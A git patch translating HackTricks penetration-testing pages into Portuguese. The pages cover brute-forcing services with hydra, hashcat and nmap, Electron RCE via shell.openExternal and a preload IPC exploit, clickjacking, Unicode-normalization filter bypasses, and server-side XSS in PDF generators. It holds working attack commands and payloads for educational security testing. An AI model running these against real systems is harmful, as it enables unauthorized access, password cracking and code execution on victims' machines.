From 06f196cdb93bcf37860dd7f76aaa09f55d3815c5 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 9 Mar 2025 14:21:47 +0000 Subject: [PATCH] Translated ['src/generic-hacking/brute-force.md', 'src/network-services- --- src/generic-hacking/brute-force.md | 29 +++++--- .../electron-desktop-apps/README.md | 68 +++++++++++++------ src/pentesting-web/clickjacking.md | 16 +++-- .../unicode-normalization.md | 32 ++++++--- .../server-side-xss-dynamic-pdf.md | 27 ++++++-- 5 files changed, 118 insertions(+), 54 deletions(-) diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 010b28e18..e2c66ee9c 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -1,4 +1,4 @@ -# Força Bruta - CheatSheet +# Brute Force - CheatSheet {{#include ../banners/hacktricks-training.md}} @@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` -### Cewl +### Listas de palavras baseadas em sites ```bash +# Cewl gets words from the victims page cewl example.com -m 5 -w words.txt + +# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs +cat /path/to/urls.txt | tok + +# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs +cat /path/to/js-urls.txt | python3 getjswords.py ``` ### [CUPP](https://github.com/Mebus/cupp) @@ -46,7 +53,7 @@ python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) -Uma ferramenta geradora de listas de palavras, que permite que você forneça um conjunto de palavras, dando a você a possibilidade de criar múltiplas variações a partir das palavras fornecidas, criando uma lista de palavras única e ideal para usar em relação a um alvo específico. +Uma ferramenta geradora de listas de palavras, que permite que você forneça um conjunto de palavras, dando a você a possibilidade de criar várias variações a partir das palavras fornecidas, criando uma lista de palavras única e ideal para usar em relação a um alvo específico. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -82,7 +89,7 @@ Finished in 0.920s. ## Serviços -Ordenados alfabeticamente pelo nome do serviço. +Ordenado alfabeticamente pelo nome do serviço. ### AFP ```bash @@ -149,7 +156,7 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` -Para http**s** você deve mudar de "http-post-form" para "**https-post-form"** +Para http**s** você deve mudar de "http-post-form" para "**https-post-form**" ### **HTTP - CMS --** (W)ordpress, (J)oomla ou (D)rupal ou (M)oodle ```bash @@ -275,7 +282,7 @@ Para usar **oracle_login** com **patator** você precisa **instalar**: ```bash pip3 install cx_Oracle --upgrade ``` -[Bruteforce de hash OracleSQL offline](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versões 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** e **11.2.0.3**): +[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versões 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** e **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` @@ -332,6 +339,8 @@ hydra -l -P rlogin:// -v -V ```bash hydra -L rsh:// -v -V ``` +[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) + ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 @@ -469,9 +478,9 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -#### Ataque de zip com texto conhecido +#### Ataque de zip com texto plano conhecido -Você precisa conhecer o **texto claro** (ou parte do texto claro) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **nomes de arquivos e tamanhos dos arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\ +Você precisa conhecer o **texto plano** (ou parte do texto plano) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **nomes de arquivos e tamanhos de arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\ Baixe [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) da página de lançamentos. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip @@ -506,7 +515,7 @@ qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### Senha do Proprietário do PDF -Para quebrar a senha do proprietário de um PDF, verifique isso: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Para quebrar a senha do Proprietário do PDF, verifique isso: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash @@ -687,7 +696,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` -- Ataque Wordlist + Máscara (`-a 6`) / Máscara + Wordlist (`-a 7`) +- Wordlist + Máscara (`-a 6`) / Máscara + Wordlist (`-a 7`) ataque ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 2bd63bd41..d3bf49fc5 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -17,7 +17,7 @@ No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode "name": "standard-notes", "main": "./app/index.js", ``` -Electron tem 2 tipos de processos: +O Electron tem 2 tipos de processos: - Processo Principal (tem acesso completo ao NodeJS) - Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança) @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -As configurações do **processo de renderização** podem ser **configuradas** no **processo principal** dentro do arquivo main.js. Algumas das configurações irão **prevenir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente configuradas**. +As configurações do **renderer process** podem ser **configuradas** no **main process** dentro do arquivo main.js. Algumas das configurações irão **prevenir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente configuradas**. -A aplicação Electron **pode acessar o dispositivo** via APIs Node, embora possa ser configurada para impedir isso: +A aplicação Electron **pode acessar o dispositivo** via APIs do Node, embora possa ser configurada para impedir isso: -- **`nodeIntegration`** - está `desligado` por padrão. Se ativado, permite acessar recursos do Node a partir do processo de renderização. -- **`contextIsolation`** - está `ativado` por padrão. Se desligado, os processos principal e de renderização não estão isolados. +- **`nodeIntegration`** - está `desligado` por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process. +- **`contextIsolation`** - está `ativado` por padrão. Se desligado, os processos principal e renderer não estão isolados. - **`preload`** - vazio por padrão. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desligado por padrão. Isso restringirá as ações que o NodeJS pode realizar. - Integração do Node em Workers - **`nodeIntegrationInSubframes`** - está `desligado` por padrão. -- Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso de **APIs Node.js** em páginas da web que estão **carregadas em iframes** dentro de uma aplicação Electron. -- Se **`nodeIntegration`** estiver **desativado**, então os pré-carregamentos serão carregados no iframe. +- Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso de **APIs do Node.js** em páginas da web que estão **carregadas em iframes** dentro de uma aplicação Electron. +- Se **`nodeIntegration`** estiver **desativado**, então os preloads serão carregados no iframe. Exemplo de configuração: ```javascript @@ -101,7 +101,7 @@ Modifique a configuração start-main e adicione o uso de um proxy como: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` -## Injeção de Código Local do Electron +## Injeção de Código Local em Electron Se você puder executar localmente um aplicativo Electron, é possível que você consiga fazer com que ele execute código JavaScript arbitrário. Confira como em: @@ -152,7 +152,7 @@ runCalc() ## RCE: XSS + contextIsolation -O _**contextIsolation**_ introduz **contextos separados entre os scripts da página da web e o código interno JavaScript do Electron**, de modo que a execução do JavaScript de cada código não afete o outro. Este é um recurso necessário para eliminar a possibilidade de RCE. +O _**contextIsolation**_ introduz os **contextos separados entre os scripts da página da web e o código interno JavaScript do Electron**, de modo que a execução do JavaScript de cada código não afete o outro. Este é um recurso necessário para eliminar a possibilidade de RCE. Se os contextos não estiverem isolados, um atacante pode: @@ -177,13 +177,13 @@ electron-contextisolation-rce-via-ipc.md ### Bypass do evento de clique -Se houver restrições aplicadas ao clicar em um link, você pode ser capaz de contorná-las **fazendo um clique do meio** em vez de um clique esquerdo normal. +Se houver restrições aplicadas ao clicar em um link, você pode ser capaz de contorná-las **fazendo um clique do meio** em vez de um clique esquerdo regular. ```javascript window.addEventListener('click', (e) => { ``` ## RCE via shell.openExternal -Para mais informações sobre esses exemplos, consulte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) +Para mais informações sobre estes exemplos, consulte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **execução remota de código do lado do cliente (RCE)** direcionando scripts de preload ou o código nativo do Electron a partir do processo principal é efetivamente prevenido com essas configurações em vigor. @@ -192,7 +192,7 @@ Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Esses listeners são **substituídos pelo aplicativo de desktop** para implementar sua própria **lógica de negócios**. O aplicativo avalia se um link navegável deve ser aberto internamente ou em um navegador da web externo. Essa decisão é tipicamente tomada através de uma função, `openInternally`. Se essa função retornar `false`, isso indica que o link deve ser aberto externamente, utilizando a função `shell.openExternal`. +Esses ouvintes são **substituídos pelo aplicativo de desktop** para implementar sua própria **lógica de negócios**. O aplicativo avalia se um link navegável deve ser aberto internamente ou em um navegador da web externo. Essa decisão é tipicamente tomada através de uma função, `openInternally`. Se essa função retornar `false`, isso indica que o link deve ser aberto externamente, utilizando a função `shell.openExternal`. **Aqui está um pseudocódigo simplificado:** @@ -202,7 +202,7 @@ Esses listeners são **substituídos pelo aplicativo de desktop** para implement As melhores práticas de segurança do Electron JS desaconselham aceitar conteúdo não confiável com a função `openExternal`, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem acionar RCE. Para exemplos detalhados e mais explicações sobre este tópico, pode-se consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade. -No macos, a função `openExternal` pode ser explorada para executar comandos arbitrários como em `shell.openExternal('file:///System/Applications/Calculator.app')`. +No macos, a função `openExternal` pode ser explorada para executar comandos arbitrários, como em `shell.openExternal('file:///System/Applications/Calculator.app')`. **Exemplos de exploits de protocolos do Windows incluem:** ```html @@ -224,6 +224,27 @@ window.open( ) ``` +## RCE: webviewTag + preload IPC vulnerável + shell.openExternal + +Essa vulnerabilidade pode ser encontrada em **[este relatório](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. + +O **webviewTag** é um **recurso obsoleto** que permite o uso de **NodeJS** no **processo de renderização**, o que deve ser desativado, pois permite carregar um script dentro do contexto de preload como: +```xml + +``` +Portanto, um atacante que conseguir carregar uma página arbitrária poderia usar essa tag para **carregar um script de pré-carregamento arbitrário**. + +Esse script de pré-carregamento foi abusado para chamar um **serviço IPC vulnerável (`skype-new-window`)** que estava chamando **`shell.openExternal`** para obter RCE: +```javascript +(async() => { +const { ipcRenderer } = require("electron"); +await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); +setTimeout(async () => { +const username = process.execPath.match(/C:\\Users\\([^\\]+)/); +await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); +}, 5000); +})(); +``` ## Leitura de Arquivos Internos: XSS + contextIsolation **Desabilitar `contextIsolation` permite o uso de `` tags**, semelhante a ` ``` -Os valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem guiar quais permissões permitir. +Os valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem orientar quais permissões permitir. ### Defesas do Lado do Servidor @@ -145,7 +147,7 @@ A **diretiva `frame-ancestors` na CSP** é o método recomendado para proteção - `frame-ancestors 'self'` - Semelhante a `X-Frame-Options: sameorigin`. - `frame-ancestors trusted.com` - Semelhante a `X-Frame-Options: allow-from`. -Por exemplo, a seguinte CSP permite apenas emolduramento do mesmo domínio: +Por exemplo, a seguinte CSP permite apenas emoldurar a partir do mesmo domínio: `Content-Security-Policy: frame-ancestors 'self';` @@ -164,10 +166,10 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com; ``` Esta política permite frames da mesma origem (self) e https://trusted-website.com. -#### Diretriz `child-src` +#### `child-src` Diretiva - Introduzida no nível 2 do CSP para definir fontes válidas para web workers e frames. -- Funciona como uma alternativa para frame-src e worker-src. +- Funciona como um fallback para frame-src e worker-src. ``` Content-Security-Policy: child-src 'self' https://trusted-website.com; ``` @@ -175,7 +177,7 @@ Esta política permite frames e workers da mesma origem (self) e https://trusted **Notas de Uso:** -- Depreciação: child-src está sendo descontinuado em favor de frame-src e worker-src. +- Descontinuação: child-src está sendo descontinuado em favor de frame-src e worker-src. - Comportamento de Fallback: Se frame-src estiver ausente, child-src é usado como fallback para frames. Se ambos estiverem ausentes, default-src é usado. - Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretrizes para evitar exploração. diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 5188fdd44..bbcc2fe4b 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -1,4 +1,4 @@ -# Normalização Unicode +# Normalização de Unicode {{#include ../../banners/hacktricks-training.md}} @@ -6,24 +6,24 @@ ## Compreendendo Unicode e Normalização -A normalização Unicode é um processo que garante que diferentes representações binárias de caracteres sejam padronizadas para o mesmo valor binário. Este processo é crucial ao lidar com strings em programação e processamento de dados. O padrão Unicode define dois tipos de equivalência de caracteres: +A normalização de Unicode é um processo que garante que diferentes representações binárias de caracteres sejam padronizadas para o mesmo valor binário. Este processo é crucial ao lidar com strings em programação e processamento de dados. O padrão Unicode define dois tipos de equivalência de caracteres: 1. **Equivalência Canônica**: Caracteres são considerados canonicamente equivalentes se têm a mesma aparência e significado quando impressos ou exibidos. -2. **Equivalência de Compatibilidade**: Uma forma mais fraca de equivalência onde caracteres podem representar o mesmo caractere abstrato, mas podem ser exibidos de maneira diferente. +2. **Equivalência de Compatibilidade**: Uma forma mais fraca de equivalência onde caracteres podem representar o mesmo caractere abstrato, mas podem ser exibidos de forma diferente. -Existem **quatro algoritmos de normalização Unicode**: NFC, NFD, NFKC e NFKD. Cada algoritmo emprega técnicas de normalização canônica e de compatibilidade de maneira diferente. Para uma compreensão mais aprofundada, você pode explorar essas técnicas em [Unicode.org](https://unicode.org/). +Existem **quatro algoritmos de normalização de Unicode**: NFC, NFD, NFKC e NFKD. Cada algoritmo emprega técnicas de normalização canônica e de compatibilidade de maneira diferente. Para uma compreensão mais aprofundada, você pode explorar essas técnicas em [Unicode.org](https://unicode.org/). -### Pontos Chave sobre Codificação Unicode +### Pontos Chave sobre Codificação de Unicode -Compreender a codificação Unicode é fundamental, especialmente ao lidar com problemas de interoperabilidade entre diferentes sistemas ou idiomas. Aqui estão os principais pontos: +Compreender a codificação de Unicode é fundamental, especialmente ao lidar com problemas de interoperabilidade entre diferentes sistemas ou idiomas. Aqui estão os principais pontos: -- **Pontos de Código e Caracteres**: No Unicode, cada caractere ou símbolo é atribuído a um valor numérico conhecido como "ponto de código". +- **Pontos de Código e Caracteres**: Em Unicode, cada caractere ou símbolo é atribuído a um valor numérico conhecido como "ponto de código". - **Representação em Bytes**: O ponto de código (ou caractere) é representado por um ou mais bytes na memória. Por exemplo, caracteres LATIN-1 (comuns em países de língua inglesa) são representados usando um byte. No entanto, idiomas com um conjunto maior de caracteres precisam de mais bytes para representação. - **Codificação**: Este termo refere-se a como os caracteres são transformados em uma série de bytes. UTF-8 é um padrão de codificação prevalente onde caracteres ASCII são representados usando um byte, e até quatro bytes para outros caracteres. - **Processamento de Dados**: Sistemas que processam dados devem estar cientes da codificação utilizada para converter corretamente o fluxo de bytes em caracteres. - **Variantes de UTF**: Além do UTF-8, existem outros padrões de codificação como UTF-16 (usando um mínimo de 2 bytes, até 4) e UTF-32 (usando 4 bytes para todos os caracteres). -É crucial compreender esses conceitos para lidar efetivamente e mitigar potenciais problemas decorrentes da complexidade do Unicode e seus vários métodos de codificação. +É crucial compreender esses conceitos para lidar e mitigar efetivamente problemas potenciais decorrentes da complexidade do Unicode e seus vários métodos de codificação. Um exemplo de como o Unicode normaliza dois bytes diferentes representando o mesmo caractere: ```python @@ -31,7 +31,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ``` **Uma lista de caracteres equivalentes em Unicode pode ser encontrada aqui:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) e [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table) -### Descobrindo +### Descoberta Se você conseguir encontrar dentro de um webapp um valor que está sendo ecoado de volta, você pode tentar enviar **‘KELVIN SIGN’ (U+0212A)** que **normaliza para "K"** (você pode enviá-lo como `%e2%84%aa`). **Se um "K" for ecoado de volta**, então, algum tipo de **normalização Unicode** está sendo realizada. @@ -41,7 +41,7 @@ Outro **exemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D ### **Bypass de filtro de SQL Injection** -Imagine uma página da web que está usando o caractere `'` para criar consultas SQL com a entrada do usuário. Esta web, como uma medida de segurança, **deleta** todas as ocorrências do caractere **`'`** da entrada do usuário, mas **após essa exclusão** e **antes da criação** da consulta, ela **normaliza** usando **Unicode** a entrada do usuário. +Imagine uma página da web que está usando o caractere `'` para criar consultas SQL com a entrada do usuário. Esta web, como uma medida de segurança, **deleta** todas as ocorrências do caractere **`'`** da entrada do usuário, mas **após essa deleção** e **antes da criação** da consulta, ela **normaliza** usando **Unicode** a entrada do usuário. Então, um usuário malicioso poderia inserir um caractere Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, quando a entrada for normalizada, uma aspa simples é criada e uma **vulnerabilidade de SQL Injection** aparece: @@ -91,14 +91,24 @@ Note que, por exemplo, o primeiro caractere Unicode proposto pode ser enviado co ### Fuzzing Regexes -Quando o backend está **verificando a entrada do usuário com uma regex**, pode ser possível que a **entrada** esteja sendo **normalizada** para a **regex**, mas **não** para onde está sendo **usada**. Por exemplo, em um Open Redirect ou SSRF, a regex pode estar **normalizando a URL enviada**, mas depois **acessando-a como está**. +Quando o backend está **verificando a entrada do usuário com uma regex**, pode ser possível que a **entrada** esteja sendo **normalizada** para a **regex** mas **não** para onde está sendo **usada**. Por exemplo, em um Open Redirect ou SSRF, a regex pode estar **normalizando a URL enviada** mas então **acessando-a como está**. A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permite **gerar variações da entrada** para fuzzar o backend. Para mais informações, consulte o **github** e este [**post**](https://0xacb.com/2022/11/21/recollapse/). +## Unicode Overflow + +A partir deste [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), o valor máximo de um byte é 255, se o servidor for vulnerável, um overflow pode ser criado para produzir um caractere ASCII específico e inesperado. Por exemplo, os seguintes caracteres serão convertidos em `A`: + +- 0x4e41 +- 0x4f41 +- 0x5041 +- 0x5141 + ## References - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) - [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html) +- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index 7f1df4213..b93c98afc 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -5,15 +5,15 @@ ## Server Side XSS (Dynamic PDF) Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\ -Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **explorar** esse comportamento para causar um **Server XSS**. +Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** esse comportamento para causar um **Server XSS**. -Por favor, note que as tags `` não funcionam sempre, então você precisará de um método diferente para executar JS (por exemplo, explorando `` nem sempre funcionam, então você precisará de um método diferente para executar JS (por exemplo, abusando de ` + @@ -32,6 +32,22 @@ Além disso, note que em uma exploração regular você será **capaz de ver/bai + + + + + + + + + + + + +